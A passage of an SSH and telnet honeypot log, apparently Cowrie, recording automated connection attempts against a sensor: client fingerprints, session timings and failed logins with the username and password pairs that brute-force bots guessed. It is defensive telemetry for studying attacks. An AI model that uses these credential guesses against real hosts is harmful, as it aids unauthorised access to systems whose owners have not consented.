{"eventid":"cowrie.login.failed","username":"ansible","password":"hello","message":"login attempt [ansible/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:36.072873Z","src_ip":"159.203.92.129","session":"4d681a6bc043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:37.079649Z","src_ip":"159.203.92.129","session":"4d681a6bc043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.955105543136597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:37.122577Z","src_ip":"62.171.135.55","session":"d5b0332ffca7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VkCdn123","message":"login attempt [root/VkCdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:41.890767Z","src_ip":"213.209.159.158","session":"8e1040e9fc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":41636,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c4b507c536c","protocol":"ssh","message":"New connection: 43.159.177.40:41636 (159.203.135.109:22) [session: 8c4b507c536c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:43.094908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:43.100693Z","src_ip":"43.159.177.40","session":"8c4b507c536c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:43.166169Z","src_ip":"43.159.177.40","session":"8c4b507c536c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"samsung","message":"login attempt [admin/samsung] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:43.448740Z","src_ip":"43.159.177.40","session":"8c4b507c536c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:44.527293Z","src_ip":"43.159.177.40","session":"8c4b507c536c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:45.402258Z","src_ip":"213.209.159.158","session":"8e1040e9fc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2048,"dst_ip":"159.203.135.109","dst_port":22,"session":"d059255689b0","protocol":"ssh","message":"New connection: 213.209.159.158:2048 (159.203.135.109:22) [session: d059255689b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:45.482631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:47.652835Z","src_ip":"213.209.159.158","session":"d059255689b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:47.657145Z","src_ip":"213.209.159.158","session":"d059255689b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vuacom172","message":"login attempt [root/Vuacom172] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:57.162411Z","src_ip":"213.209.159.158","session":"d059255689b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:00.408465Z","src_ip":"213.209.159.158","session":"d059255689b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52866,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd65c1960ef7","protocol":"ssh","message":"New connection: 213.209.159.158:52866 (159.203.135.109:22) [session: bd65c1960ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:00.491128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:02.538513Z","src_ip":"213.209.159.158","session":"bd65c1960ef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:02.542488Z","src_ip":"213.209.159.158","session":"bd65c1960ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00108981132507,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:11.412768Z","src_ip":"177.146.132.183","session":"af30121f0a0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174522399902,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:11.857278Z","src_ip":"177.146.132.183","session":"56cc2f868bf0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vS123456.","message":"login attempt [root/vS123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:12.186951Z","src_ip":"213.209.159.158","session":"bd65c1960ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:15.314635Z","src_ip":"213.209.159.158","session":"bd65c1960ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10808,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff692e5b2190","protocol":"ssh","message":"New connection: 213.209.159.158:10808 (159.203.135.109:22) [session: ff692e5b2190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:15.426535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:17.941905Z","src_ip":"213.209.159.158","session":"ff692e5b2190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:17.945631Z","src_ip":"213.209.159.158","session":"ff692e5b2190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":40406,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c8086123b8","protocol":"ssh","message":"New connection: 156.227.233.77:40406 (159.203.135.109:22) [session: 17c8086123b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:19.885672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:19.891273Z","src_ip":"156.227.233.77","session":"17c8086123b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:20.051917Z","src_ip":"156.227.233.77","session":"17c8086123b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"admin123","message":"login attempt [odoo/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:20.724732Z","src_ip":"156.227.233.77","session":"17c8086123b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47664,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde74081b004","protocol":"ssh","message":"New connection: 159.203.92.129:47664 (159.203.135.109:22) [session: fde74081b004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:21.487032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:21.496629Z","src_ip":"159.203.92.129","session":"fde74081b004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:21.502071Z","src_ip":"159.203.92.129","session":"fde74081b004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ibsoft@123","message":"login attempt [ansible/ibsoft@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:21.515070Z","src_ip":"159.203.92.129","session":"fde74081b004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:21.887706Z","src_ip":"156.227.233.77","session":"17c8086123b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:22.521253Z","src_ip":"159.203.92.129","session":"fde74081b004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpe.cripac","message":"login attempt [root/vpe.cripac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:27.201602Z","src_ip":"213.209.159.158","session":"ff692e5b2190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:30.757767Z","src_ip":"213.209.159.158","session":"ff692e5b2190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2652,"dst_ip":"159.203.135.109","dst_port":22,"session":"169f0accf5d8","protocol":"ssh","message":"New connection: 213.209.159.158:2652 (159.203.135.109:22) [session: 169f0accf5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:30.859223Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":42866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d705af4652c","protocol":"telnet","message":"New connection: 177.146.132.183:42866 (10.17.0.5:23) [session: 2d705af4652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:30.967100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:32.993698Z","src_ip":"213.209.159.158","session":"169f0accf5d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:32.997515Z","src_ip":"213.209.159.158","session":"169f0accf5d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":59298,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f4172be266","protocol":"ssh","message":"New connection: 43.159.177.40:59298 (159.203.135.109:22) [session: 96f4172be266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:33.812522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:33.816033Z","src_ip":"43.159.177.40","session":"96f4172be266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 